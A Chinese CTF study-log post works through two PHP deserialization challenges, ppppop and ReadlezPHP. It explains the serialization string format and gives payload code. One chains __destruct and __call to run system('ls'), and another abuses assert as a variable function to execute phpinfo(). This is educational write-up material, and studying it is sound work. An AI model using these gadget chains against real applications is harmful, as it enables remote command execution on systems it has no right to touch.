4.25日学习记录

ops/2024/9/24 0:15:54/

[HZNUCTF 2023 preliminary]ppppop

对于php反序列化,在之前的学习中有过了解,但是对于序列化字符串的格式不是很了解,刚好接触这题,可以了解一下

序列化字符串的格式:
布尔型(bool)b:value
整数型(int)i:value
字符串型(str)s:length:"value"
数组型(array)a:length:{...}
对象型(object)
O:length:class_name:properties_number{...}
NULL型
序列化字符串中各部分的含义:

O:4:"User":1:{s:7:"isAdmin";b:0;}
//“O”代表序列化对象,说明我们序列化的部分是对象,如果序列化的是数组的话就是A
//“4”代表类的名字占4个字符
//“User”代表类名
//“1”代表具有一个属性(这个位置应该不陌生,在对wakeup魔术方法绕过时,就可以通过修改属性数量来绕过)
//“s”代表字符串
//“7”代表属性名长度
//“isAdmin”属性名
//“b”代表布尔型数据
//“0”代表布尔值

 明确了各部分的含义之后,在学习之后的字符逃逸时就会好理解一些

例题

打开环境一片空白

 正常的步骤,源代码,dirsearch,抓包,通过这三种方法来获取信息是比较方便有效的

cookie中有个user,不寻常,通过base64解密查看一下(就是刚刚分析的那个字符串)

页面是空的,可能是因为user中的布尔值是空的,改成1试一试

 出现了熟悉的反序列化,但是也有陌生的东西,只用二次翻转就可以了

strrev():

php函数,有反转字符串的功能

<?php
echo strrev("Hello World!");
?>

 分析代码,应该是想让我们通过class B 来进行命令执行,那么怎么触发call方法,A里面也没有不可访问的方法,但是可以注意到A中出现了一个实例化的过程,并且对三个属性都进行了调用,func和args就是B中执行的属性,所以是不是可以在A中实例化B来触发魔术方法,进行命令执行

构造payload

 <?php
class A {public $className="B";public $funcName="system";public $args="ls";public function __destruct() {$class = new $this->className;$funcName = $this->funcName;$class->$funcName($this->args);}
}class B {public function __call($func, $arg) {$func($arg[0]);}
}
$a=new A;
echo base64_encode(strrev(serialize($a)));?>

 目录下没有看见有效信息,看看环境变量env

 

 [NPUCTF2020]ReadlezPHP

php动态函数:

所谓动态函数,就是函数的名字用变量表示的函数。

function wel(){echo 'welcome';
}
$result = "wel";
$result();
//调用动态函数的方法:
定义一个变量名;
把函数名赋给变量名;
使用变量名代替函数名动态调用函数

 打开题目,查看源码

进入到source中,拿到一串源码,典型的反序列化

 <?php
#error_reporting(0);
class HelloPhp
{public $a;public $b;public function __construct(){$this->a = "Y-m-d h:i:s";$this->b = "date";}public function __destruct(){$a = $this->a;$b = $this->b;echo $b($a);}
}
$c = new HelloPhp;if(isset($_GET['source']))
{highlight_file(__FILE__);die(0);
}@$ppp = unserialize($_GET["data"]);2024-04-25 01:45:07

这里涉及到使用动态函数,通过变量去调用,审查代码可以知道形式为b(a),那么a应该就是一个被执行的命令,b就是让这个字符串被当做命令执行,应该第一反应是eval,但是这里我们使用的是assert;

assert被认定为可变函数

<?php$a = 'assert';$a('phpinfo()');
?># 这就是可变函数

 可变函数就是指通过变量来调用函数;assert会把字符串参数执行,这个功能和eval类似,但是要求没有eval那么严格

构造payload

<?php
class HelloPhp
{public $a;public $b;
}
$c = new HelloPhp();
$c->a = 'phpinfo()';
$c->b = 'assert';
echo serialize($c);

在phpinfo中


http://www.ppmy.cn/ops/16510.html

相关文章

计算机毕业设计Flask+Vue.js知识图谱音乐推荐系统 音乐爬虫可视化 音乐数据分析 大数据毕设 大数据毕业设计 机器学习 深度学习 人工智能

开发技术 协同过滤算法、机器学习、LSTM、vue.js、echarts、django、Python、MySQL 创新点 协同过滤推荐算法、爬虫、数据可视化、LSTM情感分析、短信、身份证识别 补充说明 适合大数据毕业设计、数据分析、爬虫类计算机毕业设计 介绍 音乐数据的爬取&#xff1a;爬取歌曲、歌手…

【go零基础】go-zero从零基础学习到实战教程 - 2项目初始化

到项目初始化过程了&#xff0c;这边的项目设计完全按照作者自己的喜好来进行定义和设置的&#xff0c;所以各位完全可以按照自己的偏好自喜设置哈。 首先是创建一个工作文件夹哈。 别问为啥不直接quickstart&#xff0c;因为quickstart生成的api名字是greet&#xff0c;改起来…

Git操作与异常处理

文章目录 常用操作1、代码拉取2、代码提交3、暂存区状态4、提交代码5、推送远程仓库 异常处理【1】报错信息&#xff1a;Cannot pull into a repository with state: MERGING【2】报错信息&#xff1a;You have not concluded your merge (MERGE_HEAD exists)【3】报错信息&…

uniapp对uni.request()的封装以及使用

官方文档 uni.request(OBJECT) | uni-app官网 (dcloud.net.cn) uni.request参数 参数名说明url是写api地址的data是用来传值的对于 GET 方法&#xff0c;会将数据 转换为 query string。例如 { name: name, age: 18 } 转换后的结果是 namename&age18。对于 POST 方法且 …

每天学习一个Linux命令之awk

每天学习一个Linux命令之awk 在Linux系统中&#xff0c;awk是一个功能强大的命令行工具&#xff0c;用于文本处理和数据提取。它可以读取文本文件的每一行&#xff0c;根据指定的模式进行匹配&#xff0c;并对满足条件的行进行处理和操作。本文将介绍awk命令的用法和常用选项。…

Java集合框架-Collection-List-vector(遗留类)

目录 一、vector层次结构图二、概述三、底层数据结构四、常用方法五、和ArrayList的对比 一、vector层次结构图 二、概述 Vector类是单列集合List接口的一个实现类。与ArrayList类似&#xff0c;Vector也实现了一个可以动态修改的数组&#xff0c;两者最本质的区别在于——Vec…

39 vue.js

1.1 vue是什么&#xff1f; vue是当下主流的前端框架&#xff0c;用于构建用户界面的 渐进式 自底向上增量开发的MVVM框架。 渐进式&#xff1a;其实每个框架都有自己的特点&#xff0c;在开发的过程中&#xff0c;可以在原有的系统上&#xff0c;把其中一两个功能用VUE…

循环神经网络介绍(RNN)

序列模型 定义&#xff1a;自然语言处理、音频、视频以及其他序列数据的模型 类型&#xff1a; 语音识别 情感分析 机器翻译 特点&#xff1a; 序列数据前后之间有很强的关联性 序列数据的输入输出长度不固定 循环神经网络 定义&#xff1a;循环&#xff08;递归&#xff…